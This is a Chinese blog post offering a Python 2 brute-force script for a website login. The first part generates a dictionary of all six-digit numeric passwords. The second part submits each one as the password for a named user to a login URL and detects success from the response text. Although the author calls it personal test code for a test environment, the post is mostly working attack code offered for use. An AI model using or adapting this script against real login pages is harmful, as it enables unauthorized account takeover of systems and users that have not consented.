• python 暴力破解密码脚本


    python 暴力破解密码脚本

    以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

    假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

    首先,该网站登陆的验证要支持 无限次的密码尝试

    假设testUser 的密码为 6位的纯数字

    1:先长成 6位纯数字密码字典

    import os
    
    pds=[]
    
    
    rg=range(0,10)
    
    for first in rg:
        for second in rg:
            for three in rg:
                for four in rg:
                    for five in rg:
                        for six in rg:
                            num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                            pds.append(num)
    
    
    
    file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')
    file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])
    file_object.close( )

     上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

    2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

    import urllib,urllib2,HTMLParser  
    
    #解析网页的爬虫
    class OAParser(HTMLParser.HTMLParser):
        def __init__(self):
            HTMLParser.HTMLParser.__init__(self)
            self.pd=[]
        def handle_data(self, data):
            #print "Encountered some data  :", data
            self.pd.append(data)
    
      
    #暴力破解脚本
    def tryLogin(name,pwd):
        parm={"loginName":name,
              "password":pwd}
        url="http://192.**.*.*/***/login/li"
        r=urllib2.urlopen(url, urllib.urlencode(parm))
        parse=OAParser()
        parse.feed(r.read())
        parse.close()
        isFind=False
        if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
            print '尝试密码',pwd,'登陆失败'
            isFind = False
        else:
            print user,'登陆成功','password = ',pwd
            isFind=True    
        del(parse)
        
        return isFind
        
    
    
    user='testUser'
    #password=['1','12','123','1234','12345','123456','12345678']  
    fpath='/Users/teso/Desktop/pwdNum6.txt'
    pfile=open(fpath,'r')
    
    for onePwd in pfile.readlines():
        if tryLogin(user, onePwd[:6]):
            break;

    流程大致如此,自行研究着玩了

  • 相关阅读:
    调用API接口,查询手机号码归属地(2)
    调用API接口,查询手机号码归属地(1)
    F
    Icebound and Sequence(非互质逆元 快速乘法)or(矩阵快速幂)
    ProblemC、小花梨判连通(dfs)+想法stl
    cwb个人练习
    Fire Net (二分图匹配 匈牙利算法模板)
    Fire Net HDU
    Going Home POJ
    Two Sequences (二分+二进制) (好题)
  • 原文地址:https://www.cnblogs.com/cocoajin/p/3991227.html
Copyright © 2020-2023  润新知